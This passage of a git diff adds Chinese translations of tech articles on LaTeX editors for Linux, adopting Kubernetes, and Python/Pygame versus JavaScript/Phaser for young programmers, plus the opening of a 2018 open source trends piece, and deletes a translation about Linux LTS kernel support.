diff --git a/translated/tech/20171119 10 Best LaTeX Editors For Linux.md b/translated/tech/20171119 10 Best LaTeX Editors For Linux.md
new file mode 100644
index 0000000000..9b4650ac97
--- /dev/null
+++ b/translated/tech/20171119 10 Best LaTeX Editors For Linux.md
@@ -0,0 +1,184 @@
+针对 Linux 平台的 10 款最好 LaTeX 编辑器
+======
+**简介:一旦你克服了 LaTeX 的学习曲线,就没有什么比得上 LaTeX 了。下面介绍的是针对 Linux 和其他平台的最好的 LaTeX 编辑器。**
+
+## LaTeX 是什么?
+
+[LaTeX][1] 是一个文档制作系统。与纯文本编辑器不同,在 LaTeX 编辑器中你不能只写纯文本,为了组织文档的内容,你还必须使用一些 LaTeX 命令。
+
+![LaTeX 示例][2]![LaTeX 示例][3]
+
+LaTeX 编辑器一般用在出于学术目的的科学研究文档或书籍的出版,最重要的是,当你需要处理包含众多复杂数学符号的文档时,它能够为你带来方便。当然,使用 LaTeX 编辑器是很有趣的,但它也并非总是很有用,除非你对所要编写的文档有一些特别的需求。
+
+## 为什么你应当使用 LaTeX?
+
+好吧,正如我前面所提到的那样,使用 LaTeX 编辑器便意味着你有着特定的需求。为了捣腾 LaTeX 编辑器,并不需要你有一颗极客的头脑。但对于那些使用一般文本编辑器的用户来说,它并不是一个很有效率的解决方法。
+
+假如你正在寻找一款工具来精心制作一篇文档,同时你对花费时间在格式化文本上没有任何兴趣,那么 LaTeX 编辑器或许正是你所寻找的那款工具。在 LaTeX 编辑器中,你只需要指定文档的类型,它便会相应地为你设置好文档的字体种类和大小尺寸。正是基于这个原因,难怪它会被认为是 [给作家的最好开源工具][4] 之一。
+
+但请务必注意: LaTeX 编辑器并不是自动化的工具,你必须首先学会一些 LaTeX 命令来让它能够精确地处理文本的格式。
+
+## 针对 Linux 平台的 10 款最好 LaTeX 编辑器
+
+事先说明一下,以下列表并没有一个明确的先后顺序,序号为 3 的编辑器并不一定比序号为 7 的编辑器优秀。
+
+### 1\. LyX
+
+![][2]
+
+![][5]
+
+LyX 是一个开源的 LaTeX 编辑器,即是说它是网络上可获取到的最好的文档处理引擎之一。LyX 帮助你集中于你的文章,并忘记对单词的格式化,而这些正是每个 LaTeX 编辑器应当做的。LyX 能够让你根据文档的不同,管理不同的文档内容。一旦安装了它,你就可以控制文档中的很多东西了,例如页边距,页眉,页脚,空白,缩进,表格等等。
+
+假如你正忙着精心撰写科学性的文档,研究论文或类似的文档,你将会很高兴能够体验到 LyX 的公式编辑器,这也是其特色之一。 LyX 还包括一系列的教程来入门,使得入门没有那么多的麻烦。
+
+[LyX][6]
+
+### 2\. Texmaker
+
+![][2]
+
+![][7]
+
+Texmaker 被认为是 GNOME 桌面环境下最好的 LaTeX 编辑器之一。它呈现出一个非常好的用户界面,带来了极好的用户体验。它也被冠以最实用的 LaTeX 编辑器之一。假如你经常进行 PDF 的转换,你将发现 TeXmaker 相比其他编辑器更加快速。在你书写的同时,你也可以预览你的文档最终将是什么样子的。同时,你也可以观察到可以很容易地找到所需要的符号。
+
+Texmaker 也提供一个扩展的快捷键支持。你有什么理由不试着使用它呢?
+
+[Texmaker][8]
+
+### 3\. TeXstudio
+
+![][2]
+
+![][9]
+
+假如你想要一个这样的 LaTeX 编辑器:它既能为你提供相当不错的自定义功能,又带有一个易用的界面,那么 TeXstudio 便是一个完美的选择。它的 UI 确实很简单,但是不粗糙。 TeXstudio 带有语法高亮,自带一个集成的阅读器,可以让你检查参考文献,同时还带有一些其他的辅助工具。
+
+它同时还支持某些酷炫的功能,例如自动补全,链接覆盖,书签,多游标等等,这使得书写 LaTeX 文档变得比以前更加简单。
+
+TeXstudio 的维护很活跃,对于新手或者高级写作者来说,这使得它成为一个引人注目的选择。
+
+[TeXstudio][10]
+
+### 4\. Gummi
+
+![][2]
+
+![][11]
+
+Gummi 是一个非常简单的 LaTeX 编辑器,它基于 GTK+ 工具箱。当然,在这个编辑器中你找不到许多华丽的选项,但如果你只想能够立刻着手写作, 那么 Gummi 便是我们给你的推荐。它支持将文档输出为 PDF 格式,支持语法高亮,并帮助你进行某些基础的错误检查。尽管在 GitHub 上它已经不再被活跃地维护,但它仍然工作地很好。
+
+[Gummi][12]
+
+### 5\. TeXpen
+
+![][2]
+
+![][13]
+
+TeXpen 是另一个简洁的 LaTeX 编辑器。它为你提供了自动补全功能。但其用户界面或许不会让你感到印象深刻。假如你对用户界面不在意,又想要一个超级容易的 LaTeX 编辑器,那么 TeXpen 将满足你的需求。同时 TeXpen 还能为你校正或提高在文档中使用的英语语法和表达式。
+
+[TeXpen][14]
+
+### 6\. ShareLaTeX
+
+![][2]
+
+![][15]
+
+ShareLaTeX 是一款在线 LaTeX 编辑器。假如你想与某人或某组朋友一同协作进行文档的书写,那么这便是你所需要的。
+
+它提供一个免费方案和几种付费方案。甚至来自哈佛大学和牛津大学的学生也都使用它来进行个人的项目。其免费方案还允许你添加一位协作者。
+
+其付费方案允许你与 GitHub 和 Dropbox 进行同步,并且能够记录完整的文档修改历史。你可以为你的每个方案选择多个协作者。对于学生,它还提供单独的计费方案。
+
+[ShareLaTeX][16]
+
+### 7\. Overleaf
+
+![][2]
+
+![][17]
+
+Overleaf 是另一款在线的 LaTeX 编辑器。它与 ShareLaTeX 类似,它为专家和学生提供了不同的计费方案。它也提供了一个免费方案,使用它你可以与 GitHub 同步,检查你的修订历史,或添加多个合作者。
+
+在每个项目中,它对文件的数目有所限制。所以在大多数情况下如果你对 LaTeX 文件非常熟悉,这并不会为你带来不便。
+
+[Overleaf][18]
+
+### 8\. Authorea
+
+![][2]
+
+![][19]
+
+Authorea 是一个美妙的在线 LaTeX 编辑器。当然,如果考虑到价格,它可能不是最好的一款。对于免费方案,它有 100 MB 的数据上传限制和每次只能创建一个私有文档。而付费方案则提供更多的额外好处,但如果考虑到价格,它可能不是最便宜的。你应该选择 Authorea 的唯一原因应该是因为其用户界面。假如你喜爱使用一款提供令人印象深刻的用户界面的工具,那就不要错过它。
+
+[Authorea][20]
+
+### 9\. Papeeria
+
+![][2]
+
+![][21]
+
+Papeeria 是在网络上你能够找到的最为便宜的 LaTeX 在线编辑器,如果考虑到它和其他的编辑器一样可信赖的话。假如你想免费地使用它,则你不能使用它开展私有项目。但是,如果你更偏爱公共项目,它允许你创建不限数目的项目,添加不限数目的协作者。它的特色功能是有一个非常简便的画图构造器,并且在无需额外费用的情况下使用 Git 同步。假如你偏爱付费方案,它赋予你创建 10 个私有项目的能力。
+
+[Papeeria][22]
+
+### 10\. Kile
+
+![Kile LaTeX 编辑器][2]
+
+![Kile LaTeX 编辑器][23]
+
+位于我们最好 LaTeX 编辑器清单的最后一位是 Kile 编辑器。有些朋友对 Kile 推崇备至,很大程度上是因为其提供某些特色功能。
+
+Kile 不仅仅是一款编辑器,它还是一款类似 Eclipse 的 IDE 工具,提供了针对文档和项目的一整套环境。除了快速编译和预览功能,你还可以使用诸如命令的自动补全,插入引用,按照章节来组织文档等功能。你真的应该使用 Kile 来见识其潜力。
+
+Kile 在 Linux 和 Windows 平台下都可获取到。
+
+[Kile][24]
+
+### 总结
+
+所以上面便是我们推荐的 LaTeX 编辑器,你可以在 Ubuntu 或其他 Linux 发行版本中使用它们。
+
+当然,我们可能还遗漏了某些可以在 Linux 上使用并且有趣的 LaTeX 编辑器。如若你正好知道它们,请在下面的评论中让我们知晓。
+
+
+--------------------------------------------------------------------------------
+
+via: https://itsfoss.com/LaTeX-editors-linux/
+
+作者:[Ankush Das][a]
+译者:[FSSlc](https://github.com/FSSlc)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://itsfoss.com/author/ankush/
+[1]:https://www.LaTeX-project.org/
+[2]:data:image/gif;base64,R0lGODdhAQABAPAAAP///wAAACwAAAAAAQABAEACAkQBADs=
+[3]:https://itsfoss.com/wp-content/uploads/2017/11/LaTeX-sample-example.jpeg
+[4]:https://itsfoss.com/open-source-tools-writers/
+[5]:https://itsfoss.com/wp-content/uploads/2017/10/LyX_LaTeX_editor.jpg
+[6]:https://www.LyX.org/
+[7]:https://itsfoss.com/wp-content/uploads/2017/10/texmaker_LaTeX_editor.jpg
+[8]:http://www.xm1math.net/texmaker/
+[9]:https://itsfoss.com/wp-content/uploads/2017/10/tex_studio_LaTeX_editor.jpg
+[10]:https://www.texstudio.org/
+[11]:https://itsfoss.com/wp-content/uploads/2017/10/gummi_LaTeX_editor.jpg
+[12]:https://github.com/alexandervdm/gummi
+[13]:https://itsfoss.com/wp-content/uploads/2017/10/texpen_LaTeX_editor.jpg
+[14]:https://sourceforge.net/projects/texpen/
+[15]:https://itsfoss.com/wp-content/uploads/2017/10/shareLaTeX.jpg
+[16]:https://www.shareLaTeX.com/
+[17]:https://itsfoss.com/wp-content/uploads/2017/10/overleaf.jpg
+[18]:https://www.overleaf.com/
+[19]:https://itsfoss.com/wp-content/uploads/2017/10/authorea.jpg
+[20]:https://www.authorea.com/
+[21]:https://itsfoss.com/wp-content/uploads/2017/10/papeeria_LaTeX_editor.jpg
+[22]:https://www.papeeria.com/
+[23]:https://itsfoss.com/wp-content/uploads/2017/11/kile-LaTeX-800x621.png
+[24]:https://kile.sourceforge.io/
diff --git a/translated/tech/20171120 Adopting Kubernetes step by step.md b/translated/tech/20171120 Adopting Kubernetes step by step.md
new file mode 100644
index 0000000000..3e9015d155
--- /dev/null
+++ b/translated/tech/20171120 Adopting Kubernetes step by step.md
@@ -0,0 +1,90 @@
+一步步采用 Kubernetes
+============================================================
+
+为什么选择 Docker 和 Kubernetes 呢?
+
+容器允许我们构建,发布和运行分布式应用。他们使应用程序摆脱了机器限制,让我们以一定的方式创建一个复杂的应用程序。
+
+使用容器编写应用程序可以使开发,QA 更加接近生产环境(如果你努力这样做的话)。通过这样做,可以更快地发布修改,并且可以更快地测试整个系统。
+
+[Docker][1] 可以使软件独立于云提供商的容器化平台。
+
+但是,即使使用容器,移植应用程序到任何一个云提供商(或私有云)所需的工作量也是非常重要的。应用程序通常需要自动伸缩组,持久远程光盘,自动发现等。但是每个云提供商都有不同的机制。如果你想使用这些功能,很快你就会变的依赖于云提供商。
+
+这正是 [Kubernetes][2] 登场的时候。它是一个容器编排系统,它允许您以一定的标准管理,缩放和部署应用程序的不同部分,并且成为其中的重要工具。它抽象出来以兼容主要云的提供商(Google Cloud,Amazon Web Services 和 Microsoft Azure 都支持 Kubernetes)。
+
+通过一个方法来想象一下应用程序,容器和 Kubernetes 。应用程序可以视为一条身边的鲨鱼,它存在于海洋中(在这个例子中,海洋就是您的机器)。海洋中可能还有其他一些宝贵的东西,但是你不希望你的鲨鱼与小丑鱼有什么关系。所以需要把你的鲨鱼(你的应用程序)移动到一个密封的水族馆中(容器)。这很不错,但不是特别的健壮。你的水族馆可能会打破,或者你想建立一个通道连接到其他鱼类生活的另一个水族馆。也许你想要许多这样的水族馆,以防需要清洁或维护... 这正是应用 Kubernetes 集群的地方。
+
+
+Evolution to Kubernetes
+
+Kubernetes 由云提供商提供支持,从开发到生产,它使您和您的团队能够更容易地拥有几乎相同的环境。这是因为 Kubernetes 不依赖专有软件,服务或另外一些基础设施。
+
+事实上,您可以在您的机器中使用与生产环境相同的部件启动应用程序,从而缩小了开发和生产环境之间的差距。这使得开发人员更了解应用程序是如何构建在一起的,尽管他们可能只负责应用程序的一部分。这也使得在开发流程中的应用程序更容易的快速完成测试。
+
+如何使用 Kubernetes 工作?
+
+随着更多的人采用 Kubernetes,新的问题出现了;应该如何针对基于集群环境开发?假设有 3 个环境,开发,质量保证和生产, 如何适应 Kubernetes?这些环境之间仍然存在着差异,无论是在开发周期(例如:在正在运行的应用程序中看到修改代码所花费的时间)还是与数据相关的(例如:我不应该在我的质量保证环境中测试生产数据,因为它里面有敏感信息)
+
+那么,我是否应该总是在 Kubernetes 集群中编码,构建映像,重新部署服务?或者,我是否不应该尽力让我的开发环境也成为一个 Kubernetes 集群的其中之一(或一组集群)呢?还是,我应该以混合方式工作?
+
+
+Development with a local cluster
+
+如果继续我们之前的比喻,使其保持在一个开发集群中的同时侧面的通道代表着修改应用程序的一种方式。这通常通过[volumes][4]来实现
+
+一个 Kubernetes 系列
+
+Kubernetes 系列资源是开源的,可以在这里找到:
+
+### [https://github.com/red-gate/ks][5]
+
+我们写这个系列作为练习以不同的方式构建软件。我们试图约束自己在所有环境中都使用 Kubernetes,以便我们可以探索这些技术对数据和数据库的开发和管理造成影响。
+
+这个系列从使用 Kubernetes 创建基本的React应用程序开始,并逐渐演变为能够覆盖我们更多开发需求的系列。最后,我们将覆盖所有应用程序的开发需求,并且理解在数据库生命周期中如何最好地迎合容器和集群。
+
+以下是这个系列的前 5 部分:
+
+1. ks1: 使用 Kubernetes 构建一个React应用程序
+
+2. ks2: 使用 minikube 检测 React 代码的更改
+
+3. ks3: 添加一个提供 API 的 Python Web 服务器
+
+4. ks4: 使 minikube 检测 Python 代码的更改
+
+5. ks5: 创建一个测试环境
+
+本系列的第二部分将添加一个数据库,并尝试找出最好的方式来发展我们的应用程序。
+
+
+通过在所有环境中运行 Kubernetes,我们被迫在解决新问题的时候也尽量保持开发周期。我们不断尝试 Kubernetes,并越来越习惯它。通过这样做,开发团队都可以对生产环境负责,这并不困难,因为所有环境(从开发到生产)都以相同的方式进行管理。
+
+下一步是什么?
+
+我们将通过整合数据库和练习来继续这个系列,以找到使用 Kubernetes 获得数据库生命周期的最佳体验方法。
+
+这个 Kubernetes 系列是由 Redgate 研发部门的 Foundry 提供。我们正在努力使数据和容器的管理变得更加容易,所以如果您正在处理数据和容器,我们希望听到您的意见,请直接联系我们的开发团队。 [_foundry@red-gate.com_][6]
+* * *
+
+我们正在招聘。您是否有兴趣开发产品,创建[未来技术][7] 并采取类似创业的方法(没有风险)?看看我们的[软件工程师 - 未来技术][8]的角色吧,并阅读更多关于在 [英国剑桥][9]的 Redgate 工作的信息。
+--------------------------------------------------------------------------------
+
+via: https://medium.com/ingeniouslysimple/adopting-kubernetes-step-by-step-f93093c13dfe
+
+作者:[santiago arias][a]
+译者:[aiwhj](https://github.com/aiwhj)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://medium.com/@santiaago?source=post_header_lockup
+[1]:https://www.docker.com/what-docker
+[2]:https://kubernetes.io/
+[3]:https://www.google.co.uk/search?biw=723&bih=753&tbm=isch&sa=1&ei=p-YCWpbtN8atkwWc8ZyQAQ&q=nemo+fish&oq=nemo+fish&gs_l=psy-ab.3..0i67k1l2j0l2j0i67k1j0l5.5128.9271.0.9566.9.9.0.0.0.0.81.532.9.9.0....0...1.1.64.psy-ab..0.9.526...0i7i30k1j0i7i10i30k1j0i13k1j0i10k1.0.FbAf9xXxTEM
+[4]:https://kubernetes.io/docs/concepts/storage/volumes/
+[5]:https://github.com/red-gate/ks
+[6]:mailto:foundry@red-gate.com
+[7]:https://www.red-gate.com/foundry/
+[8]:https://www.red-gate.com/our-company/careers/current-opportunities/software-engineer-future-technologies
+[9]:https://www.red-gate.com/our-company/careers/living-in-cambridge
diff --git a/translated/tech/20171127 Long-term Linux support future clarified.md b/translated/tech/20171127 Long-term Linux support future clarified.md
deleted file mode 100644
index ef41a81cf3..0000000000
--- a/translated/tech/20171127 Long-term Linux support future clarified.md
+++ /dev/null
@@ -1,45 +0,0 @@
-Linux 长期支持版关于未来的声明
-===============================
-Linux 4.4 长期支持版将得到 6年的使用期,但是这并不意味着其它长期支持版的使用期将持续这么久。
-[视频](http://www.zdnet.com/video/video-torvalds-surprised-by-resilience-of-2-6-kernel-1/)
- _视频: Torvalds 对内核版本 2.6 的弹性感到惊讶_
-
-在 2017 年 10 月,[Linux 内核小组同意将 Linux 长期支持版(LTS)的下一个版本的生命期从两年延长至六年][5],而 LTS 的下一个版本正是 [Linux 4.14][6]。这对于 [Android][7],嵌入式 Linux 和 Linux 物联网(IoT)的开发者们是一个利好。但是这个变动并不意味着将来所有的 Linux LTS 版本将有 6 年的使用期。
-正如 [Linux 基金会][8]的 IT 技术设施安全主管 Konstantin Ryabitsev 在 google+ 上发文解释说,"尽管外面的各种各样的新闻网站可能已经告知你们,但是[内核版本 4.14 的 LTS 并不计划支持 6 年][9]。仅仅因为 Greg Kroah-Hartman 正在为 LTS 4.4 版本做这项工作并不表示从现在开始所有的 LTS 内核会维持那么久。"
-所以,简而言之,Linux 4.14 将支持到 2020年 1月份,而 2016 年 1 月 20 号问世的 Linux 4.4 内核将支持到 2022 年。因此,如果你正在编写一个打算能够长期运行的 Linux 发行版,那你需要基于 [Linux 4.4 版本][10]。
-[Linux LTS 版本][11]包含对旧内核树的后向移植漏洞的修复。不是所有漏洞的修复都被导入进来,只有重要漏洞的修复才用于这些内核中。它们不会非常频繁的发布,特别是对那些旧版本的内核树来说。
-Linux 其它的版本有尝鲜版或发布候选版(RC),主线版,稳定版和 LTS 版。
-RC 版必须从源代码编译并且通常包含漏洞的修复和新特性。这些都是由 Linux Torvalds 维护和发布的。他也维护主线版本树(这是所有新特性被引入的地方)。新的主线内核每几个月发布一次。当主线版本树为了通用才发布时,它被称为"稳定版"。一个稳定版内核漏洞的修复是从主线版本树后向移植的,并且这些修复是由一个指定的稳定版内核维护者来申请。在下一个主线内核变得可用之前,通常也有一些修复漏洞的内核发布。
-对于最新的 LTS 版本,Linux 4.14,Ryabitsev 说,"Greg 已经担负起了 4.14 版本的维护者责任(过去发生过多次),其他人想成为该版本的维护者也是有可能的,但是你应该断然不要去计划这件事。"
-Kroah-Hartman 在 Ryabitsev 的文章中仅仅添加了:"[他的言论][12]"
-
--------------------
-via: http://www.zdnet.com/article/long-term-linux-support-future-clarified/
-
-作者:[Steven J. Vaughan-Nichols ][a]
-译者:[liuxinyu123](https://github.com/liuxinyu123)
-校对:[校对者ID](https://github.com/校对者ID)
-
-本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
-
-[a]:http://www.zdnet.com/meet-the-team/us/steven-j-vaughan-nichols/
-[1]:http://www.zdnet.com/article/long-term-linux-support-future-clarified/#comments-eb4f0633-955f-4fec-9e56-734c34ee2bf2
-[2]:http://www.zdnet.com/article/the-tension-between-iot-and-erp/
-[3]:http://www.zdnet.com/article/the-tension-between-iot-and-erp/
-[4]:http://www.zdnet.com/article/the-tension-between-iot-and-erp/
-[5]:http://www.zdnet.com/article/long-term-support-linux-gets-a-longer-lease-on-life/
-[6]:http://www.zdnet.com/article/the-new-long-term-linux-kernel-linux-4-14-has-arrived/
-[7]:https://www.android.com/
-[8]:https://www.linuxfoundation.org/
-[9]:https://plus.google.com/u/0/+KonstantinRyabitsev/posts/Lq97ZtL8Xw9
-[10]:http://www.zdnet.com/article/whats-new-and-nifty-in-linux-4-4/
-[11]:https://www.kernel.org/releases.html
-[12]:https://plus.google.com/u/0/+gregkroahhartman/posts/ZUcSz3Sn1Hc
-[13]:http://www.zdnet.com/meet-the-team/us/steven-j-vaughan-nichols/
-[14]:http://www.zdnet.com/meet-the-team/us/steven-j-vaughan-nichols/
-[15]:http://www.zdnet.com/blog/open-source/
-[16]:http://www.zdnet.com/topic/enterprise-software/
-
-
-
-
diff --git a/translated/tech/20171128 Why Python and Pygame are a great pair for beginning programmers.md b/translated/tech/20171128 Why Python and Pygame are a great pair for beginning programmers.md
new file mode 100644
index 0000000000..63414a6573
--- /dev/null
+++ b/translated/tech/20171128 Why Python and Pygame are a great pair for beginning programmers.md
@@ -0,0 +1,140 @@
+为什么说 Python 和 Pygame 最适合初学者
+============================================================
+
+### 我们有三个理由来说明 Pygame 对初学编程者是最好的选择。
+
+
+
+ 图片来源: [opensource.com](https://opensource.com)
+
+上个月,[Scott Nesbitt][10] 发表了一篇标题为[ Mozilla 支出 50 万美元来支持开源项目][11]的文章。其中 Phaser,一个基于 HTML/JavaScript 的游戏平台项目,获得了 50,000 美元的奖励。整整一年里,我都在使用 Phaser 平台来教我的小女儿,用来学习的话,它是最简单也是最好的 HTML 游戏开发平台。然而,对于初学者来说,使用[ Pygame ][13]也许效果更好。原因如下:
+
+### 1\. 小段代码块
+
+Pygame,基于 Python,[在介绍计算机课程中最流行的语言][14]。Python 非常适合用一小段代码来实现我们的想法,孩子们可以从单个文件和单个代码块起开始学习,在掌握函数 (function) 或类 (class) 对象之前,就可以写出意大利面条似的代码。 很像手指画,所想即所得。
+
+更多 Python 资源链接
+
+* [Python 是什么?][1]
+
+* [最热门 Python IDEs][2]
+
+* [最热门 Python GUI 框架][3]
+
+* [最新 Python 话题][4]
+
+* [更多开发资源][5]
+
+以这样的方式来学习,当编写的代码越来越难于管理的时候,孩子们很自然就的就会把代码分解成函数模块和类模块。在学习函数之前就学习了 Python 语言的语法,学生将掌握基本的编程知识,对了解全局作用域和局部作用域起到更好的作用。
+
+大多数 HTML 游戏在一定程度上会将结构、样式和编程逻辑分为 HTML、CSS和JavaScript,并且需要 CSS 和 HTML 的知识。从长远来看,虽然拆分更好,但对初学者来说是个障碍。一旦孩子们发现他们可以用 HTML 和 CSS 快速构建网页,很有可能就会被颜色、字体和图形的视觉刺激分散注意力。即使有仅仅只专注于 JavaScript 代码的,也需要学习基本的文档结构模型,以使 JavaScript 代码能够嵌入进去。
+
+### 2\. 全局变量更清晰
+
+Python 和 JavaScript 都使用动态类型变量,这意味着变量只有在赋值才能确定其类型为一个字符串、一个整数或一个浮点数,其中 JavaScript 更容易出错。类似于类型变量,JavaScript 和 Python 都有全局变量和局部变量之分。Python 中,如果在函数块内要使用全局变量,就会以 `global` 关键字区分出来。
+
+要理解在 Phaser 上教授编程初学者所面临的挑战的话,让我们以基本的[制作您的第一个 Phaser 游戏教程][15]为例子,它是由 Alvin Ourrad 和 Richard Davey 开发制作的。在 JavaScript 中,程序中任何地方都可以访问的全局变量很难追踪调试,常常引起 Bug 且很难解决。因为 Richard 和 Alvin 是专业程序员,所以在这儿特意使用全局变量以使程序简洁。
+
+```
+var game = new Phaser.Game(800, 600, Phaser.AUTO, '', { preload: preload, create: create, update: update });
+
+function preload() {
+
+ game.load.image('sky', 'assets/sky.png');
+
+}
+
+var player;
+var platforms;
+
+function create() {
+ game.physics.startSystem(Phaser.Physics.ARCADE);
+…
+```
+
+在他们的 Phaser 编程手册 [《Interphase》][16] 中,Richard Davey 和 Ilija Melentijevic 解释说:在很多 Phaser 项目中通常都会使用全局变量,原因是使用它们完成任务更容易、更快捷。
+
+> “如果您开发过游戏,只要代码量到一定规模,那么(使用全局变量)这种做法会使您陷入困境的,可是我们为什么还要这样做?原因很简单,仅仅只是要使我们的 Phaser 项目容易完成,更简单而已。”
+
+针对一个 Phaser 应用程序,虽然可以使用局部变量和拆分代码块来达到关注点隔离这些手段来重构代码,但要使第一次学习编程的小孩能理解,显然很有难度的。
+
+如果您想教你的孩子学习 JavaScript,或者如果他们已经知道怎样使用像 Python 来编程的话,有个好的 Phaser 课程推荐: [完整的手机游戏开发课程] [17],是由 [ Pablo Farias Navarro ] [18] 开发制作的。虽然标题看着是移动游戏,但实际是关于 JavaScript 和 Phaser 的。JavaScript 和 Phaser 移动应用开发已经转移到 [PhoneGap][19] 话题去了。
+
+### 3\. Pygame 无依赖要求
+
+由于 [Python Wheels][20] 的出现,Pygame 超级[容易安装][21]。在 Fedora/Red Hat 系统下也可使用 **yum** 包管理器来安装:
+
+```
+sudo yum install python3-pygame
+```
+
+更多消息请参考官网[Pygame 安装说明文档][22]。
+
+相比来说,虽然 Phaser 本身更容易安装,但需要掌握更多的知识。前面提到的,学生需要在 HTML 文档中组装他们的 JavaScript 代码,同时还需要些 CSS。除了这三种语言(HTML、CSS、JavaScript),还需要使用火狐或谷歌开发工具和编辑器。JavaScript 最常用的编辑器有 Sublime、Atom、VS Code(按使用多少排序)等。
+
+由于[浏览器同源策略][23]的原因,如果您直接在浏览器中打开 HTML 文件的话,Phaser 应用是不会运行的。您必须运行 Web 服务,并通过服务访问这些文件。还好,对于大多数工程项目,可以不用在本地运行 Apache 服务,只需要运行一些轻量级的服务就可以,比如 [httpster][24]。
+
+### Phaser 和 JavaScript 的优势
+
+JavaScript 和 Phaser 有着种种的不好,为什么我还继续教授他们?老实说,我考虑了很长一段时间,我在担心着学生学习变量申明提升和变量作用域的揪心。所有我开发出基于 Pygame 和 Python 的课程,随后也开发出一涛基于 Phaser 的。最终,我决定使用 Pablo 预先制定的课程作为起点。
+
+我转用 JavaScript 有两个原因。首先,JavaScript 已经成为正式应用的正式语言。除了 Web 应用外,也可使用于移动和服务应用方面。JavaScript 无处不在,其广泛应用于孩子们每天都能看到的应用中。如果他们的朋友使用 Javascript 来编程,他们很可能也会受影响而使用之。正如我看到了 JavaScript 背后的动力,所以深入研究了可编译成 JavaScript 的替代语言,主要是 Dart 和 TypeScript 两种。虽然我不介意额外的转换步骤,但还是最喜欢 JavaScript。
+
+最后,我选择使用 Phaser 和 JavaScript 的组合,是因为我意识到上面那些问题在 JavaScript 可以被解决,仅仅只是一些工作量而已。高质量的调试工具和一些大牛们的人的工作使得 JavaScript 成为教育孩子编码的可用和有用的语言。
+
+### 最后话题: Python 对垒 JavaScript
+
+当家长问我使用的什么语言作为孩子的入门语言时,我会立即推荐 Python 和 Pygame。因为有成千上万的课程可选,而且大多数都是免费的。我为我的儿子选择了 Al Sweigart 的 [使用 Python 和 Pygame 开发游戏][25] 课程,同时也在使用 Allen B. Downey 的 [Python 编程思想:如何像计算机科学家一样思考][7]。在 Android 手机上可以使用 [ Tom Rothame ][27]的[ PAPT Pyame][26] 来安装 Pygame 游戏。
+
+那是好事。JavaScript 是一门成熟的编程语言,有很多很多辅助工具。但有多年的帮助大儿子使用 Python 创建炫酷游戏经历的我,依然钟情于 Python 和 Pygame。
+
+### About the author
+
+ [][28]
+
+ Craig Oda - First elected president and co-founder of Tokyo Linux Users Group. Co-author of "Linux Japanese Environment" book published by O'Reilly Japan. Part of core team that established first ISP in Asia. Former VP of product management and product marketing for major Linux company. Partner at Oppkey, developer relations consulting firm in Silicon Valley.[More about me][8]
+
+--------------------------------------------------------------------------------
+
+via: https://opensource.com/article/17/11/pygame
+
+作者:[Craig Oda ][a]
+译者:[runningwater](https://github.com/runningwater)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://opensource.com/users/codetricity
+[1]:https://opensource.com/resources/python?intcmp=7016000000127cYAAQ
+[2]:https://opensource.com/resources/python/ides?intcmp=7016000000127cYAAQ
+[3]:https://opensource.com/resources/python/gui-frameworks?intcmp=7016000000127cYAAQ
+[4]:https://opensource.com/tags/python?intcmp=7016000000127cYAAQ
+[5]:https://developers.redhat.com/?intcmp=7016000000127cYAAQ
+[6]:https://opensource.com/article/17/11/pygame?rate=PV7Af00S0QwicZT2iv8xSjJrmJPdpfK1Kcm7LXxl_Xc
+[7]:http://greenteapress.com/thinkpython/html/index.html
+[8]:https://opensource.com/users/codetricity
+[9]:https://opensource.com/user/46031/feed
+[10]:https://opensource.com/users/scottnesbitt
+[11]:https://opensource.com/article/17/10/news-october-14
+[12]:https://www.patreon.com/photonstorm/posts
+[13]:https://www.pygame.org/news
+[14]:https://cacm.acm.org/blogs/blog-cacm/176450-python-is-now-the-most-popular-introductory-teaching-language-at-top-u-s-universities/fulltext
+[15]:http://phaser.io/tutorials/making-your-first-phaser-game
+[16]:https://phaser.io/interphase
+[17]:https://academy.zenva.com/product/the-complete-mobile-game-development-course-platinum-edition/
+[18]:https://gamedevacademy.org/author/fariazz/
+[19]:https://phonegap.com/
+[20]:https://pythonwheels.com/
+[21]:https://pypi.python.org/pypi/Pygame
+[22]:http://www.pygame.org/wiki/GettingStarted#Pygame%20Installation
+[23]:https://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html
+[24]:https://simbco.github.io/httpster/
+[25]:https://inventwithpython.com/makinggames.pdf
+[26]:https://github.com/renpytom/rapt-pygame-example
+[27]:https://github.com/renpytom
+[28]:https://opensource.com/users/codetricity
+[29]:https://opensource.com/users/codetricity
+[30]:https://opensource.com/users/codetricity
+[31]:https://opensource.com/article/17/11/pygame#comments
+[32]:https://opensource.com/tags/python
+[33]:https://opensource.com/tags/programming
diff --git a/translated/tech/20171129 10 OPEN SOURCE TECHNOLOGY TRENDS FOR 2018_CN.md b/translated/tech/20171129 10 OPEN SOURCE TECHNOLOGY TRENDS FOR 2018_CN.md
new file mode 100644
index 0000000000..ab5e952bf7
--- /dev/null
+++ b/translated/tech/20171129 10 OPEN SOURCE TECHNOLOGY TRENDS FOR 2018_CN.md
@@ -0,0 +1,146 @@
+2018 年开源技术 10 大发展趋势
+============================================================
+
+### 你是否关注过开源技术的发展趋势?
+
+
+
+图片来源:[Mitch Bennett][10]. [Opensource.com][31] 修改
+
+科技一直在发展,诸如OpenStack,PWAs,Rust,R,认知云,人工智能(AI),物联网等一些新技术正在颠覆我们对世界的固有认知。以下是 2018 年最可能成为主流的开源技术纲要。
+
+### 1\. OpenStack 认可度持续高涨
+
+[OpenStack][12] 本质上是一个云操作平台(系统),它为管理员提供直观友好的控制面板,以便对大量的计算、存储和网络资源进行配置和监管。
+
+目前,很多企业运用 OpenStack 平台搭建和管理云计算系统。得益于其灵活的生态系统、透明度和运行速度,OpenStack 越来越流行。相比其他替代方案,OpenStatic 只需更少的花费便能轻松支持任务关键型应用程序。
+但是,复杂的结构以及其对虚拟化、服务器、额外网络资源的严重依赖使得其它一些企业对使用 OpenStack 心存顾虑。另外,想要用好 OpenStack,好的硬件支持和高水平的员工二者缺一不可。
+
